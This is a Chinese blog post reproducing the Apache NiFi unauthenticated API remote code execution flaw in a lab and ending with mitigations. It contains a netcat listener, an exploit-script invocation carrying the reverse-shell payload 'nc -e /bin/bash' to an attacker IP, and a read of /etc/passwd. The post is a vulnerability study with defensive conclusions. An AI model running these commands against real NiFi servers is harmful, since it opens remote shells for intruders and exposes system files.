暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

NIFI远程代码执行漏洞

NIFI实战 2021-08-25
4120

背景

Apache NiFi API Remote Code Execution
Apache NiFI Api RCE
Add new Apache NiFi RCE exploit module
最近公司大佬们给我维护的NiFi项目提了一个严重的安全漏洞,那么我就来研究一下吧。
NiFi 的默认安装是不安全的并且通过 HTTP 运行,该漏洞就是是利用 Apache NiFi 中的弱配置,也就是无需用户密码,可通过使用NiFi API自动创建ExecuteProcess 处理器创建、配置和运行命令,然后停止和删除处理器,从而达到悄无声息的进行远程命令攻击。
NiFi 默认包含许多处理器,其中ExecuteProcess 是一个可用于运行系统命令的处理器。类似的有“危险”处理器,例如 ExecuteScript,利用的系统上已经安装这些脚本语言,通过注入脚本的方式进行远程脚本攻击。

漏洞前提

  1. ExecuteProcess 处理器必须可用
  2. API 必须不安全(或提供凭据/令牌)

环境准备

  1. 无需登录的NIFI单节点:192.168.42.6
  2. kerberos认证的NIFI集群节点:192.168.42.3
  3. 攻击的服务器:192.168.42.4
    yum install nc -y
    yum install nmap -y

    nc的作用
    (1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
    (2)端口的扫描,nc可以作为client发起TCP或UDP连接
    (3)机器之间传输文件
    (4)机器之间网络测速
  4. python3.9安装下列模块
    pip install requests

操作验证

第一步:192.168.42.4开启nc监听
nc -lvp 1234
建立ne连接
第二步:执行攻击命令
python exp.py "http://192.168.42.6:8080" "nc -e bin/bash 192.168.42.4 1234"
executeProcessor
页面多了一个ExecuteProcess
flow创建历史查看
NiFi History记录了ExecuteProcess创建过程
配置查看
查看ExecuteProcess注入的配置
第三步:192.168.42.4执行攻击命令

cat etc/passwd
攻击查看密码
如上图,192.168.42.6的命令就可以操作。
第四步:攻击有kerberos认证的NIFI服务器

python exp.py "http://192.168.42.3:8080" "nc -e /bin/bash 192.168.42.4 1234"
https防攻击
如图,因为有密码则无法简单的连接注入脚本攻击
结论
  1. NIFI不设置登录是不安全。
  2. NIFI的强大的脚本执行处理器以及脚本执行处理器存在注入风险。
  3. NIFI1.14.0之前均存在上述风险,解决措施
    • 给NIFI设置密码,定期更换密码,不适用弱密码
    • 从源码nar包中剔除有注入风险的处理器,需要重新编译源码

文章转载自NIFI实战,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论